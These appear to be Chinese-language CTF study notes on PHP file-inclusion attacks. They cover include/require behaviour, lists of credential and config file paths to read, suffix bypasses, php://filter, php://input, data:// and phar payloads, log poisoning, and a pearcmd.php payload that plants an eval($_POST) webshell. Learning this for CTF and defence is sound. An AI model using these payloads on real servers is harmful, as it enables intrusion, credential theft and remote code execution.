跳转至

文件包含

文件包含

相关函数

include()

使用 include 引用外部文件时,只有代码执行到 include 代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个 php 文件会继续执行。

require()

在 php 文件被执行之前,php 解析器会用被引用的文件的全部内容替换 require 语句,然后与 require 语句之外的其他语句组成个新的 php 文件,最好后按新的 php 文件执行程序代码。

include_once()

使用 include_once 会在导入文件前先检测该文件是否在该页面的其他部分被应用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为 php 不允许相同名称的函数被重复声明)

require_once()

语句是 require 语句的延伸,他的功能与 require 语句基本一致,不同的是,在应用 require_once 时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用 require_once 语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)

需要注意的区别是 include_once 和 require_once 函数,前者如果当前程序的某个文件(函数调用的文件)有第二次导入会报错,而后者则不报错,只是文件不会被执行

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

本地包含

如果包含的是可执行的php文件,会执行,如果包含的不是可执行的会进行读取

例题:

http://123.206.31.85:49166/index.php?file=hello.php

如果?file=/etc/passwd
/etc/passwd包含用户信息的文件

在/etc/passwd的源文件里有upload.php,可以上传文件,上传一张图片马。直接包含执行
但是发现被过滤掉了<?php和?>替换为_和_
直接用替换就可以执行

远程包含

条件

在php.ini里有两个重要的参数allow_url_fopen和allow_url_include
allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

如果后缀名写死,比如传入的东西后面自动加上.php可以用?来绕过
比如:http://xxxxx.index.php?file=1.txt?a.php,?是用来传参的,但是1.txt不需要任何参数,所以?没啥用,可以把帮助我们绕过.php

伪协议

php支持的伪协议

file:// 访问本地文件系统
http:// 访问HTTP(s)网址
ftp:// 访问ftp(s)URLs
php:// 访问各个输入输出流
zlib:// 压缩流
data:// 数据(RFC 2379)
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// Secure Shell2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

PHP归档

例题:106.12.37.37:10007
只要上传的是压缩包格式的文件,改个后缀啥的无所谓
phpar://upload/xxxxx.xxx/phpinfo(自动加.php的)
zip://upload/xxxxx.xxx%23phpinfo(自动加.php的)

利用php流

php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容没有读取之前没有机会应用其他过滤器
php://filter目标使用以下的参数作为它路径的一部分
?file=php://filter/convert.base64-encode/resource=index.php

例题:http://chinalover.sinaapp.com/web7/index.php

php://input

利用条件:

  • allow_url_include = on
  • 对allow_url_fopen不做要求

php://input可以读取没有处理过的post数据

就是用它之后,post 直接放完整的 php 代码就可以

image.png

例题:http://106.12.37.37:10008

data://

data://text/plain/;base64,php马的base64形式,注意 + 要 url 编码

image.png

日志文件

在linux下,日志一般都在var/log下面
通过bp抓包,改请求头上的内容,比如<?php phpinfo();?>就可以让日志文件包含我们需要的内容,通过包含日志文件就可以了,但是通常情况用户是没有权限去读取日志文件的

pearcmd.php利用

?+config-create+/&p=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['yichen'])?>+/tmp/shell.php

这里面参数 p 是接受进来包含文件的参数,注意,在浏览器里会 url 编码,在 burp 里面写
效果就是在 /tmp 目录下生成一个 shell.php
image.png
image.png

系统环境mark一下以后在写

session

PHP默认生成session文件在/tmp下
在php.ini文件中存在session.upload_progress.enabled这个参数,默认开启,会在上传过程中生成上传进度文件,它的存储路径可以在phpinfo中找到

看烦了,先看点别的

原文: https://www.yuque.com/hxfqg9/web/ezlu9t